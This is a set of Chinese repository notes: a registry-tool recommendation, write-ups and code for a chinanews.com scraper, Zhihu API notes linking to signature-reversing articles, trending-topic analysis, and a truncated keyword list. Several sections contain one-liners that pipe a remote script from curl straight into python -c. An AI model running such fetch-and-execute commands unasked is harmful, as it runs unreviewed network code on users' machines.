Registry Finder 个人使用挺久的一款的注册表搜索编辑工具,相当文件搜索的 everything 工具。特点:搜索速度极快,支持编辑撤回,软件小巧也就5~6M,而且官网下载极快,且有可以远程自动下载中文包。
官网:https://registry-finder.com
直接下载:https://registry-finder.com/bin/2.56.0.0/RegistryFinderSetup2.56.exe
在 Help 选项的 Language 点击进去,软件会识别系统语言据此下载对应语言包。



顺便给出注册表文档资料,方便大家学习。
权威官方:
* https://admx.help
* https://learn.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list
* https://learn.microsoft.com/zh-cn/previous-versions/windows/
第三方:
* [康涅狄格大学知识库-Understanding the Registry on Windows](https://kb.uconn.edu/space/IKB/10737647782/Understanding+the+Registry+on+Windows)
* [谷歌文档-Microsoft Windows XP Registry Guide](https://drive.google.com/file/d/0B1XWS61nCeNPNWNhM2U1MTAtNmJmOS00YmI4LWFhNGItZGZlN2Q2OTRmNWMz/view?hl=en_GB&resourcekey=0-P3S3Zh9mF3wvxTdU94afDA)
* [howtogeek-using windows admin tools like a pro](https://www.howtogeek.com/school/using-windows-admin-tools-like-a-pro/lesson5/)
* https://en.wikipedia.org/wiki/Windows_Registry
* https://www.netadmintools.com (辅助)
我的经验是拿百科先了解一下,然后就是走官方或第三方知识数据库,最后才是谷歌文档、百度文库、CSDN、博客园。中途遇到什么问题,才会查查CSDN、博客园之类的,然后再溯源到官方文档。
================================================
FILE: AQUICK/DTRASH/xlgzgxwwpc.md
================================================
# 写了一个中国新闻网爬虫
**免责声明:此爬虫仅供学习和研究目的使用。使用者应遵守相关国家和地区的法律法规,不得将本爬虫用于任何违反法律法规或侵犯他人合法权益的行为。最后,使用者应自行承担使用本爬虫所带来的风险和责任。如果不同意以上声明,你应该立即停止使用本爬虫。**
这主要是受[csdn-Python爬取新闻信息,分词统计并画词云](https://blog.csdn.net/xukeke12138/article/details/117167932)启发,中途也写了百度热搜的爬虫,对繁杂的新闻条目进行精细分类,涉及到AI与机械学习方面,我试了试,觉得工程量还是太大了,还不如用这个中国新闻网现成的分类。再考虑到上述文章的源码不大易读,以及附加了词云之类的库,要想跨平台还是有些不便,就自己写一个吧。
本地测试,效果如图:

(注:Windows多半是要注释掉 `r.encoding='utf-8'` ,保存路径多半是家目录或`c:/Windows/System32`)
在线测试
```
python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_chinanews.py)"
```

附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-python/get_chinanews.py
```
import requests
from bs4 import BeautifulSoup
from openpyxl import Workbook
from datetime import datetime
# -----参考文档,三件套-------
# https://docs.python-requests.org/en/latest/
# https://www.crummy.com/software/BeautifulSoup/bs4/doc/
# https://openpyxl.readthedocs.io/en/stable/
# https://docs.python.org/3/library/stdtypes.html#str.strip (切片)
# -----参考文档,三件套-------
# 5.1 新增时间格式规范化输出文件名
# 获取当前时间
now = datetime.now()
# 将时间格式化为指定的字符串格式
formatted_time = now.strftime('%Y-%-m-%-d')
# 创建一个Workbook对象,用于Excel的读写
wb = Workbook()
# 添加一个Sheet页,并且指定Sheet名称
sheet = wb.active
sheet.title = 'Sheet1'
# 定义变量row,用于循环时控制每一行的写入位置
row = 1
# 添加表头
sheet['A1'] = '栏目'
sheet['B1'] = '标题'
sheet['C1'] = '时间'
# 遍历页码1从2页
for page_num in range(1,3):
# f-string
url = f"https://www.chinanews.com.cn/scroll-news/news{page_num}.html"
# 反爬通用套码
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
r = requests.get(url, headers=headers)
r.encoding='utf-8'
soup = BeautifulSoup(r.text, 'html.parser')
# 遍历栏目、标题和时间
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
dangdu_time = soup.find_all('div', class_='dd_time')
# 追加具体数据
for news_num in range(len(dangdu_lanmu)):
sheet.append([dangdu_lanmu[news_num].text.strip('[]'), dangdu_biaoti[news_num].text, dangdu_time[news_num].text])
# row=row+1
row += 1
# 保存Excel文件
wb.save("chinanews_{}.xlsx".format(formatted_time))
```
配合一些大数据分析的论文食用更佳:
* 许诺、唐锡晋 -《基于百度热搜新闻词的社会风险事件5W提取研究》(中国科学院、中国科学院大学,《系统工程理论与实践》,Vol.40, No.2, Feb., 2020)
* 毛贺祺 -《大数据背景下微博热搜的新闻阅读服务功能》(吉林大学文学院, 2017年3月)
* 王小新 -《当前我国受众网络新闻的阅读...读倾向——以百度热搜词为例》(上海理工大学,《今传媒》2013年第9期)
* 喻国明 -《大数据分析下的中国社会舆情 总体态势与结构性特征》(中国人民大学,中国人民大学学报,2013年第5期)
举例来说,就是简单的数据对比与分析:

================================================
FILE: AQUICK/DTRASH/zhihu.md
================================================
## 知乎整体概况
大众型话题类问答网站是一个多领域覆盖广泛的平台,汇集了人们对各种话题的独特见解和观点。不论是科技、文化、社会、娱乐,还是其他领域,都能在这个网站找到相关的问题和讨论。每个话题都有其独特之处,人们在这里分享自己的知识、经验和观点,相互交流和学习。尽管这种网站在提供广泛讨论平台方面有着积极的作用,但也存在一些问题需要注意。
首先,话题的广泛性可能导致信息质量参差不齐。在大量的讨论中,有些信息可能不准确、片面或缺乏可靠来源。用户需要保持批判性思维,主动筛选和验证信息的可信度。
其次,匿名性可能导致滥用和不当行为。一些用户可能会利用匿名性发表攻击性言论、散布谣言或传播仇恨。为了营造良好的交流环境,平台应加强管理措施,鼓励用户进行文明交流,并对违规行为进行处理。
另外,信息过载可能使用户感到无所适从,难以找到有价值的信息。平台可以通过优化搜索算法、引入个性化推荐等方式,帮助用户更有效地获取他们感兴趣的内容。
最后,开放性可能使得一些违反法律法规或伦理道德的内容出现在网站上。平台需要建立严格的审核机制,遵守法律法规,屏蔽或删除不合规内容,保护用户的权益和利益。
综上所述,大众型话题类问答网站虽然能提供广泛的讨论平台,但需注意解决信息质量、滥用行为、信息过载和合规性等方面的问题,以确保内容质量和用户体验。
## 知乎内容选择上
知乎问答内容仍然以图文形式为主要表达方式,大多数回答都是图文并茂且篇幅较长,具有一定的内涵和特定时期人物及背景因素。与大多数新闻或短评不同的是,知乎回答不能仅凭关键词就能够快速而精确地分类和整合。因此在爬虫爬取题材内容设计上存在不小的难度。
[叶赛文 - 如何对知乎的回答,按照点赞量排序](http://yesaiwen.com/how-to-sort-zhihu-answer-by-likes/)虽是手动化的,不过整体的爬取内容设计较合理,思路清晰。先用油猴脚本对知乎问答进行排序,安装采集器进行点赞数、评论数及内容方面进行综合性的筛选与整合,最后批量打开网页查看具体回答并分析。以及[csdn - Python爬虫实战一:抓取知乎问题下所有回答](https://blog.csdn.net/weixin_40796925/article/details/120314374)的表头版面设计清晰得当,具体有:作者、粉丝、内容、发布时间、更新时间、回复数、链接。整体看上去效果不错。这两者都可以作为我的参考对象。
================================================
FILE: AQUICK/DTRASH/zhihuapi.md
================================================
# 知乎API分析
回答者基本信息
```
https://www.zhihu.com/api/v4/members/zong-you-diao-min-xiang-hai-zhen-1-58-56?include=allow_message%2Cis_followed%2Cis_following%2Cis_org%2Cis_blocking%2Cemployments%2Canswer_count%2Cfollower_count%2Carticles_count%2Cgender%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics
```
关联问题
```
https://www.zhihu.com/api/v4/questions/562083816/similar-questions?include=data%5B*%5D.answer_count%2Cauthor%2Cfollower_count&limit=5&answer_id=3
```
回答
```
https://www.zhihu.com/api/v4/questions/562083816/feeds?cursor=377cfc0f521fa6e6ca782136cd937fe6&include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cattachment%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Cis_labeled%2Cpaid_info%2Cpaid_info_content%2Creaction_instruction%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cvip_info%2Cbadge%5B%2A%5D.topics%3Bdata%5B%2A%5D.settings.table_of_content.enabled&limit=5&offset=0&order=default&platform=desktop&session_id=1688828905373224118
```
```
https://www.zhihu.com/api/v4/questions/562083816/feeds?page=3&session_id=1688854656455617606
```
[知乎,爬虫,x-zse-86 2.0](https://www.victue.com/2021/03/30/zhihu_answer/),从这文中得知,知乎做了加密处理。阅读其他文章了解加密内容:
* [cnblogs - 知乎加密参数x-zse-96详解](https://www.cnblogs.com/xiaowangba9494/p/15934907.html)
* [知乎 - 分析 分析 知乎加密算法 最新 x-zse-96](https://zhuanlan.zhihu.com/p/419576219)
* [csdn -2021年6月知乎指定问题信息爬取 & x-zse-96 2.0版本加密破解分析 爬虫破解反扒思路](https://blog.csdn.net/qq_26394845/article/details/118183245)
* [思否 - 某乎搜索接口zse96参数逆向分析【2022.11版本】](https://segmentfault.com/a/1190000042751896)
* [52pojie - 某乎x-zse-96签名算法python重写(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1631378-1-1.html)
* [python 爬虫 js逆向](https://juejin.cn/s/python%20爬虫%20js逆向)
* [知乎参数咋加密的呀 dsrx-2000/spider_collection/issues/18 ](https://github.com/srx-2000/spider_collection/issues/18)
npm idealTree:lib: sill idealTree buildDeps
* [csdn - 设置npm源的几种方式](https://blog.csdn.net/u010856177/article/details/126851940)
* [ERROR:Node Sass version 7.0.1 is incompatible with ^4.0.0.](https://www.cnblogs.com/Merrys/p/16905691.html)
================================================
FILE: AQUICK/DTRASH/zixfx.md
================================================
## 常见平台热搜与辟谣信息分析
### 一键获取今日头条、抖音、微博热搜。[图文版](https://www.52pojie.cn/thread-1785460-1-1.html) (NLP:[Stanza](https://stanfordnlp.github.io/stanza/data_objects.html))
```
python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_resou_today_s.py)"
```
* 自动化分类;整体匹配率:84%~96% 区间左右。
* 词频统计;三者共存的热搜,说明为持久公共热度,信息密度较高。
* 文本情感平均值、每条标题的情感数值;主:人为置顶热搜的文本情绪强烈程度。
* 词性分析;标记可能存有引导与被植入意识成分用词,只要定语、状语叠得多,总能是宣传正态形势。
微博在自动化分类中,噪音三者最大,信息价值低,话题含水量大,失真度偏高;各家平台的热搜标题也存有未标识谣言成分,最好用[国家辟谣平台查询](https://www.piyao.org.cn/pysjk/frontsql.htm)鉴别其真伪;虽然娱乐属性极重,但微博其本身具有一对多公共属性的社交模式,当某个社会事件被挂上热搜,它可在短时间内迅速传播信息,引发公众的关注和讨论。
推荐论文:
* 毛贺祺《大数据背景下微博热搜的新闻阅读服务功能》吉林大学新闻学专业硕士学位论文,2017.3<br>
* 喻国明《大数据分析下的中国社会舆情 总体态势与结构性特征》中国人民大学学报,2013年第5期<br>
* 王小新《当前我国受众网络新闻的阅读倾向——以百度热搜词为例》《今传媒》,2013年第9期<br>
* 许诺《基于百度热搜新闻词的社会风险事件5W提取研究》《系统工程理论与实践》,2022年第40卷第2期<br>
### 自动化收集辟谣条目及语言分析(NLP:[ThuLAC](https://github.com/thunlp/THULAC-Python))
功能大体与上例相当,对词频的较高词语进行语法分析。
```
python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_rumor_analysis.py)"
```
对谣言的定义:阿尔波特(Gordom W.Allport)和波兹曼(Leo Postman)最早为谣言下了定义,即谣言是一个与当时事件相关联的命题,是为了使人相信,一般以口传媒介的方式在人们之间流传,但是却缺乏具体的资料以证实其确切性。<sup>[1]</sup>
谣言概念界定:究其本质而言,谣言普遍具有的属性,一是广泛传播,二是不确定性,基于此,本文将谣言界定为被广泛传播的、含有极大的不确定性的信息。“不确定性”主要是指对信息真实与否的不确定性。<sup>[2]</sup>
目前,在突发事件中的各类谣言中,有明确目标性和破坏性的攻击型谣言和以实现政治、经济等利益为目标的宣传型或牟利型谣言出现的频率较低。多数谣言是出于恐惧心理和基于错误的认识判断而形成的。<sup>[3]</sup> 从这次的谣言收集分析已证明,最大的两个类别是,社会话题与健康饮食,两者分别占比48%、43%。
但“后真相”时代多元文化的糅合共存和碎片化的解读方式加剧了民众的价值分歧,侵蚀了信任防线。一方面,复杂的利益诉求、多元的社会思潮与多样的传播方式交织叠加,催生出“后真相”时代多元的网络文化,加大了主流与非主流文化之间的碰撞和摩擦。虽然非主流文化是主流文化的有益补充,但诸如佛系文化、网红文化、躺平文化等难免有背离主流文化的消极因素,尤其是污丑文化、拜金文化等更是尽显畸形审美和金钱至上的错误思想,若不加警惕和批判,极易误导一些认知不足、阅历不够的受众,诱发政治偏见,不断冲击和侵蚀业已形成的政治信任。另一方面,“后真相”时代人们面对海量信息,惯以碎片化的方式拼凑事实、解读真相。一旦关涉社会分化、利益分配、政治腐败和政策失误等复杂的政治谣言鉴别,人们极易陷入碎片化信息的不断解读和重组,制造出多种“真相”,并借此持续发酵,非但无益于阻断网络政治谣言的传播,反而会频繁质疑已有政治共识,造成政治信任的流失,为谣言惑众创设了可能。<sup>[4]</sup>
就参考 [4] 来说,个人生活无非涉及钱的吃穿住行,社会分化也是正常现象,“个人-集体”、“集体-个人”的差异、非一致性,这话更多“是以国家建设为中心”为首纲。下面这两条信息很值得参考研究:
* [知乎 - 如何看待央视新视频【靠力气赚钱心里才踏实,是无数平凡人的生活信仰】?](https://www.zhihu.com/question/587740721/answer/2952171143)
* [bilibili - 说我摸,说我摆,谁在意劳动者的无奈?](https://www.bilibili.com/video/BV1ss4y1M72E)
### B站饭圈层弹幕收集(分析中)
以社会民生话题种类繁多,不大适合定量分析研究B站Z世代用户。如果是将研究样本限定在“二次元”、“某CP党”,做定向的特质分析,无疑是个很好的突破口。查阅了几篇资料,针对Z世代标新立异的话语,不少文章都共同提及了:<u>“缘趣群体”、“群体认同”、“亚文化圈层”、“解构重构”、“詹姆斯·凯瑞”</u>,这几个关键词。这里以“磕CP”作为入手方向。(**做为社会中的个体,人的喜好专长,二者是离散且多元性的。**)
原因自然是多方面的,现实的无趣 、欲望的驱动、游戏的追求 …… 但本质原因之一 ,是来自受众对于“现实”/“真实”以及其所指代和承诺的价值、情感的不信任,于是转身投入对虚拟情感/虚假情感的沉迷之中。在影院观赏爱情电影之所以那么富有魅力,是因为对人们内心深处的那些渴望的、私密的情感进行了合理化的影像化呈现,黑暗背景中的电影院与银幕也成为人们享受私人化情感释放的理想化场所 。<sup>[5]</sup>
后情感主义是美国社会学家斯捷潘·梅斯特罗维奇( Stjepan G. Metrovic)提出的理论。所谓“后情感”,区别于人类的本真情感,指向一种“新的被智识化、机械化、大众媒体生产的情感”。本真情感异化为替代或虚拟的情感(“后情感”),成为文化工业批量生产并出售的一种商品。<sup>[6]</sup>
在后情感主义时代,“情感已不必指向以往至 高无上的客观真实,而只须满足公众的快感欲求”。文艺作品不再取材于真实、表现人类本真情感,而是营造悬浮的“爱情神话”以催生“虚假欲求”,满足公众快感;公众不再需要费心建立并维持一段亲密关系,而是仅仅通过消费媒介产品就可以获得超越日常生活的类情感体验 。<sup>[7]</sup>
<br>
<br>
[1] 胡琦《全媒体时代网络谣言产生的心理机制与治理路径》,《社会科学家》2022年第11期,135页<br>
[2] 雷霞《老年群体的谣言认知不协调及其纠偏机制》,《现代传播》2023年第3期,<br>
[3] 胡琦《社会科学家·全媒体时代网络谣言产生的心理机制与治理路径》,2022年第11期,137页<br>
[4] 杨芸伊,赵惜群(两人均属马克思主义学院)《“ 后真相 ” 时代网络政治谣言的表征 、归因及治理》,湖南科技大学学报(社会科学版),2022年第11期,155页<br>
[5]、[6]、[7] 石小溪《“再生影像”的双重媒介特性与文化逻辑 —— B站的“CP向”混剪视频为例》,《电影文学》2022年第23期,27页<br>
================================================
FILE: AQUICK/DTRASH/zzchinanewslc.md
================================================
# 制作中国新闻网爬虫的历程
这主要是受[csdn-Python爬取新闻信息,分词统计并画词云](https://blog.csdn.net/xukeke12138/article/details/117167932)启发,中途也写了百度热搜的爬虫,对繁杂的新闻条目进行精细分类,涉及到AI与机械学习方面,工程量还是太大了,那我不如用这个中过新闻网现成的分类。考虑到文章源码相对来说并不是那么易读,以及附加了词云之类的库,要想跨平台还是有些不便,就自己写一个吧。
## 编码过程
### 01 simple demo(标题遍历)
简单试手遍历新闻标题,如图div部分,“lm”、“time”,都能进行简单的遍历。

01 simple demo 源码
```python
import requests
from bs4 import BeautifulSoup
# ---- 常规操作 -------
url = 'https://www.chinanews.com.cn/scroll-news/news1.html'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
r = requests.get(url, headers=headers)
r.encoding='utf-8'
soup = BeautifulSoup(r.text, 'html.parser')
# ----- 遍历 ---------
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
for div in dangdu_biaoti:
print(div.text)
```
效果如下

### 02 simple demo(页码遍历)
https://www.chinanews.com.cn/scroll-news/news1.html ,做个遍历链接,再遍历内容也是可行的。

02 simple demo 源码
```python
import requests
from bs4 import BeautifulSoup
# ---- 遍历页码从1到10 -------
for i in range(1, 11):
# f-string
url = f"https://www.chinanews.com.cn/scroll-news/news{i}.html"
# 反爬通用套码
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
r = requests.get(url, headers=headers)
r.encoding='utf-8'
soup = BeautifulSoup(r.text, 'html.parser')
# ----- 遍历标题 (dd_time dd_lm 已测可行) ---------
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
for div in dangdu_biaoti:
print(div.text)
```
### 03 simple demo(debug)
**不恰当的for循环逻辑,导致各列各项“错位”**
错误演示demo
```python
# 错位了
# 遍历栏目
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
for div in dangdu_lanmu:
# 将标题文本写入第2列(即A列),第row+1行中
sheet.write(row, 0, div.text)
row += 1 # 写入下一行
# 遍历标题 (dd_time dd_lm 已测可行)
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
for div in dangdu_biaoti:
# 将标题文本写入第2列(即B列),第row+1行中
sheet.write(row, 1, div.text)
row += 1 # 写入下一行
# 遍历时间
dangdu_time = soup.find_all('div', class_='dd_time')
for div in dangdu_time:
# 将标题文本写入第2列(即C列),第row+1行中
sheet.write(row, 2, div.text)
row += 1 # 写入下一行
```
A、B、C列发生了偏移

**将A、B、C列的项目并排齐头的二种方式**
方式一:先把表头占据,2起步。
```python
# 添加表头
sheet['A1'] = '栏目'
sheet['B1'] = '标题'
sheet['C1'] = '时间'
# 定义变量row,用于循环时控制每一行的写入位置
row = 2
# 遍历栏目、标题和时间
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
dangdu_time = soup.find_all('div', class_='dd_time')
for j in range(len(dangdu_lanmu)):
# 将栏目、标题和时间分别写入第1列、第2列和第3列,第j+row行中
sheet.cell(row=row, column=1, value=dangdu_lanmu[j].text)
sheet.cell(row=row, column=2, value=dangdu_biaoti[j].text)
sheet.cell(row=row, column=3, value=dangdu_time[j].text)
```
同理于
```python
# 添加表头
sheet.write(0, 0, '栏目')
sheet.write(0, 1, '标题')
sheet.write(0, 2, '时间')
# 定义变量row,用于循环时控制每一行的写入位置
row = 1
# 遍历栏目、标题和时间
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
dangdu_time = soup.find_all('div', class_='dd_time')
for j in range(len(dangdu_lanmu)):
# 将栏目、标题和时间分别写入第1列、第2列和第3列,第j+row行中
sheet.cell(row=row, column=1, value=dangdu_lanmu[j].text)
sheet.cell(row=row, column=2, value=dangdu_biaoti[j].text)
sheet.cell(row=row, column=3, value=dangdu_time[j].text)
```
方式二:使用append,精简化
```python
# 定义变量row,用于循环时控制每一行的写入位置
row = 1
# 添加表头
sheet['A1'] = '栏目'
sheet['B1'] = '标题'
sheet['C1'] = '时间'
# 遍历栏目、标题和时间
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
dangdu_time = soup.find_all('div', class_='dd_time')
# 追加具体数据
for news_num in range(len(dangdu_lanmu)):
sheet.append([dangdu_lanmu[news_num].text, dangdu_biaoti[news_num].text, dangdu_time[news_num].text])
# row=row+1
row += 1
```
效果如图

03 simple demo
```python
import requests
from bs4 import BeautifulSoup
from openpyxl import Workbook
# -----参考文档,三件套-------
# https://docs.python-requests.org/en/latest/
# https://www.crummy.com/software/BeautifulSoup/bs4/doc/
# https://openpyxl.readthedocs.io/en/stable/
# -----参考文档,三件套-------
# 创建一个Workbook对象,用于Excel的读写
wb = Workbook()
# 添加一个Sheet页,并且指定Sheet名称
sheet = wb.active
sheet.title = 'Sheet1'
# 定义变量row,用于循环时控制每一行的写入位置
row = 1
# 添加表头
sheet['A1'] = '栏目'
sheet['B1'] = '标题'
sheet['C1'] = '时间'
# 遍历页码从1到2
for page_num in range(1,2):
# f-string
url = f"https://www.chinanews.com.cn/scroll-news/news{page_num}.html"
# 反爬通用套码
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
r = requests.get(url, headers=headers)
r.encoding='utf-8'
soup = BeautifulSoup(r.text, 'html.parser')
# 遍历栏目、标题和时间
dangdu_lanmu = soup.find_all('div', class_='dd_lm')
dangdu_biaoti = soup.find_all('div', class_='dd_bt')
dangdu_time = soup.find_all('div', class_='dd_time')
# 追加具体数据
for news_num in range(len(dangdu_lanmu)):
sheet.append([dangdu_lanmu[news_num].text.strip('[]'), dangdu_biaoti[news_num].text, dangdu_time[news_num].text])
# row=row+1
row += 1
# 保存Excel文件
wb.save('output.xlsx')
```
## 做统计饼图遇到的问题
### 01 数据格式
代码生成的output.xlsx清除内容做了简单的数据统计测试,出现了饼图“不显示”的问题,但新建的Excel表填入一样数据,测试后却并没问题。
问题如图所示

中途发现:[知乎专栏-用原生的方式操作Excel,Python玩转Excel神器xlsxwriter详解!](https://zhuanlan.zhihu.com/p/350242120)、[csdn-python实现——处理Excel表格(超详细)](https://blog.csdn.net/weixin_44288604/article/details/120731317);最后参考这篇[csdn-excel无法做图,是因为数据格式的原因](https://blog.csdn.net/weixin_41470864/article/details/88928506)解决的,我推测这个问题是我复制了表头,随手粘贴连同属性也一块复制进去了,所造成的。

### 02 筛选统计
无意间点到数据透视图,如下图以标题对应着栏目数,查了 [microsoft-设计数据透视表的布局和格式](https://support.microsoft.com/zh-cn/office/设计数据透视表的布局和格式-a9600265-95bf-4900-868e-641133c05a80)对“轴”与“值”的说明,我觉得其类似于键值对的设计,当做统计汇总时,“轴”相当于分组和分类的列、"值"相当于的统计的数目的列。

问及人资同事有关于报表方面的制作,他推荐了 https://www.tubiaoxiu.com ,从使用上确实简单了不少。

================================================
FILE: AQUICK/category_news.json
================================================
{
"娱乐": [
"太酷了",
"Cool",
"打赏",
"重生",
"魔兽",
"甜度",
"心眼",
"上班",
"限定",
"头一次",
"王力宏",
"亲情",
"vlog",
"害羞",
"撩",
"热搜",
"王嘉尔",
"热词",
"主打",
"歌王",
"歌神",
"赛文",
"李小璐",
"风格",
"贾乃亮",
"模仿",
"新版",
"公堂",
"TFBOYS",
"依旧",
"下作",
"GUCCI",
"倪妮",
"迪迦",
"奥特曼",
"傲娇",
"病娇",
"张萌",
"复婚",
"折腰",
"火热",
"文案",
"四大",
"ins",
"三观",
"舍利",
"隐情",
"大神",
"热舞",
"入围",
"牛人",
"over",
"OVER",
"Over",
"forever",
"FOREVER",
"Forever",
"Nerver",
"NERVER",
"NO",
"任性",
"no",
"YES",
"Yes",
"YYDS",
"影帝",
"影后",
"奇人",
"高人",
"奇",
"高手",
"包皮",
"IP",
"阴茎",
"反感",
"日常",
"艾伦",
"赌王",
"伴郎",
"现身",
"赌侠",
"赌圣",
"行为",
"福彩",
"彩票",
"驱魔",
"风水",
"占卜",
"算卦",
"算命",
"酷",
"觉醒",
"洪荒",
"弹唱",
"抵押",
"贷款",
"贷",
"diss",
"女主",
"男主",
"婚礼",
"下线",
"对象",
"白嫖",
"离婚",
"特质",
"恋情",
"纵欲",
"禁欲",
"天曜",
"律师函",
"追星",
"开播",
"给力",
"奥利给",
"转场",
"大佬",
"京城",
"四少",
"丽江",
"三少",
"表演",
"少爷",
"光棍",
"少奶奶",
"白眼",
"彩虹",
"很多",
"入职",
"无论",
"Faker",
"赛亚人",
"街霸",
"维吉尔",
"贵族",
"但丁",
"李昂",
"汤米",
"维斯",
"维赛迪",
"卡卡罗特",
"贝吉塔",
"佐助",
"卡卡西",
"鸣人",
"路飞",
"圆神",
"碍事梨",
"后悔",
"wink",
"好真诚",
"好",
"远点",
"离远点",
"滚啊",
"滚",
"滚开",
"好稳",
"表情",
"真诚",
"哈妮",
"秦霄贤",
"王八",
"王八蛋",
"杂种",
"狗杂种",
"野种",
"饭点",
"好惊讶",
"惊讶",
"直呼",
"嘎子",
"潘嘎",
"刷屏",
"惊叹",
"惊人",
"美味",
"比拼",
"做作",
"扭捏",
"捏",
"太晚",
"世代",
"不忍",
"太迟",
"瘦身",
"苦",
"滋味",
"险峻",
"金曲",
"俊俏",
"麻了",
"麻辣",
"酸甜",
"吉尼斯",
"赛高",
"屌爆了",
"屌爆",
"二次元",
"刺身",
"柯基",
"金坷垃",
"马保国",
"鱼生",
"武德",
"程序员",
"程序猿",
"程序媛",
"然并卵",
"卵",
"卵用",
"惊恐",
"惊悚",
"称奇",
"称赞",
"目瞪口呆",
"乍舌",
"呆若木鸡",
"木头人",
"惊呼",
"惊奇",
"心花怒放",
"头像",
"原因",
"母亲",
"一家",
"传闻",
"曝照",
"秒变",
"我",
"说",
"爱",
"再见",
"神级",
"马化腾",
"爷",
"孙女",
"重新",
"拿起",
"分手",
"工作室",
"分歧",
"自曝",
"圆房",
"取关",
"现实",
"爆剧",
"解约",
"娜扎",
"狗肉",
"撒娇",
"寿比南山",
"婚房",
"马云",
"王思聪",
"雪糕",
"曾孙",
"重孙",
"博主",
"并非",
"刘雅瑟",
"杨超越",
"大婚",
"惊吓",
"微博",
"治愈了",
"反应",
"社牛",
"儿子",
"同学",
"毛病",
"抖音",
"满意",
"欣喜",
"已是",
"玩弄",
"单手",
"怪兽",
"场面",
"一起",
"连麦",
"才子",
"教父",
"佳人",
"才女",
"天然",
"歌声",
"艺人",
"天籁",
"天后",
"瞒不住",
"老板",
"是谁",
"手把手",
"被晒",
"得主",
"头发",
"惊艳",
"感情",
"雷佳音",
"极限",
"王健林",
"波霸",
"西瓜",
"想和",
"跳舞",
"删除",
"说话",
"电视",
"电视台",
"卫视",
"音乐",
"音乐节",
"电影节",
"才知",
"挑礼物",
"女演员",
"同框",
"框",
"男子晒",
"有感",
"宣传周",
"董明珠",
"沈腾",
"露腰",
"优酷",
"王石",
"美男",
"樱花",
"家长",
"观看",
"育儿分歧",
"隆胸",
"COS",
"熊孩",
"狗狗",
"美好",
"平凡",
"选哪个",
"庆生",
"宝宝",
"杨紫",
"相恋",
"刘亦菲",
"刘强东",
"仙女",
"樱桃",
"尬",
"尴尬",
"尬舞",
"赵丽颖",
"杨幂",
"柳岩",
"刘诗诗",
"易烊千玺",
"女团",
"癌症",
"氪金",
"氪",
"肝",
"磕",
"近照",
"偶遇",
"领奖",
"周杰伦",
"热吻",
"赵传",
"内衣",
"塞尔达",
"小鲜肉",
"章泽天",
"生理",
"黑鬼",
"宝妈",
"睡不着",
"首公开",
"五月天",
"般若",
"浮生",
"减肥",
"早期",
"旧照",
"粉丝",
"惨淡",
"成绩单",
"合影",
"面子",
"孟羽童",
"聊天",
"直播",
"章子怡",
"下雪",
"车厘子",
"棒子",
"CP",
"谁抢",
"乱性",
"邓超",
"孙俪",
"男朋友",
"香火",
"供奉",
"男友",
"闺蜜",
"女朋友",
"地气",
"接地气",
"女友",
"如何",
"射精",
"丁真",
"漫长",
"海底捞",
"打卡",
"美依礼芽",
"传媒",
"热门",
"撒贝宁",
"泰星",
"长得",
"李安",
"耽美",
"阿三",
"电影",
"端午",
"清明",
"女神节",
"大结局",
"爱人",
"赐福",
"热恋",
"曾可妮",
"韩星",
"马伊琍",
"代理",
"捐精",
"井喷",
"黄浦江",
"戛纳",
"彩礼",
"演唱",
"出山",
"导演",
"周星驰",
"认出",
"公关",
"片酬",
"登顶",
"新郎",
"伴娘",
"一生",
"一世",
"带货",
"预告",
"胡兵",
"爆冷",
"美女",
"斗鱼",
"精子",
"雪景",
"星座",
"漂亮",
"有钱",
"暴富",
"开心",
"如梦",
"腹肌",
"喜欢",
"赌博",
"枪支",
"朝阳",
"东西",
"牵手",
"接吻",
"玩",
"定档",
"火锅",
"偶像",
"经纪",
"老坛",
"宅男",
"御宅族",
"御宅",
"肥宅",
"卵子",
"原味",
"社死",
"可爱",
"猫咪",
"二哈",
"主人",
"成龙",
"徐怀钰",
"邓丽君",
"张国荣",
"哥哥",
"梅艳芳",
"刘德华",
"海景房",
"车模",
"漫展",
"领证",
"综合征",
"汪小菲",
"丧礼",
"李鬼",
"出场",
"排面",
"阔气",
"腐女",
"出水",
"警匪",
"阿姨",
"龙珠",
"柯南",
